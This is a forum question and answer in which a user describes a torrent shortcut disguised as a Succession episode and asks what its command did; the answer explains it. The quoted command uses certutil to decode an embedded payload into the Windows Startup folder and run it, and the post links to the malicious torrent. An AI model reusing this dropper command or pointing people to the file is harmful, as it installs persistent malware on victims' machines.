Q:

Downloaded a file which turned out to be a shortcut that ran the following command, not sure what it did

I downloaded a torrent which turned out to be a shortcut that did the following thing.
%ComSpec% /c certutil -decode "Succession.S02E07.720p.WEB.x265-MiNX.mkv.lnk" 
  "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\%USERNAME%.exe" >nul 2>&1 && 
  "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\%USERNAME%.exe"

Does anyone have any idea what this file did? I accidentally ran it.
The file was 222MB large. I checked my startup folder but there seems to be nothing there, maybe because I pressed cancel when the cmd window popped up. But the file went from 222MB to 1.85 kb after I ran it.
The link to the file is a torrent here https://thepiratebay.org/torrent/34688106/Succession.S02E07.720p.WEB.x265-MiNX
Downloading it won't do anything but running it will. I also ran avast scan and windows defender scan on the file but it found nothing.
I re-downloaded the file and renamed the .lnk to .txt, it looks like a security certificate. 

A:

certutil is a built-in program in Windows used to manage certificates. The above command would be decoding the certificate present in the file and install malware. An article illustrating how this could be used.

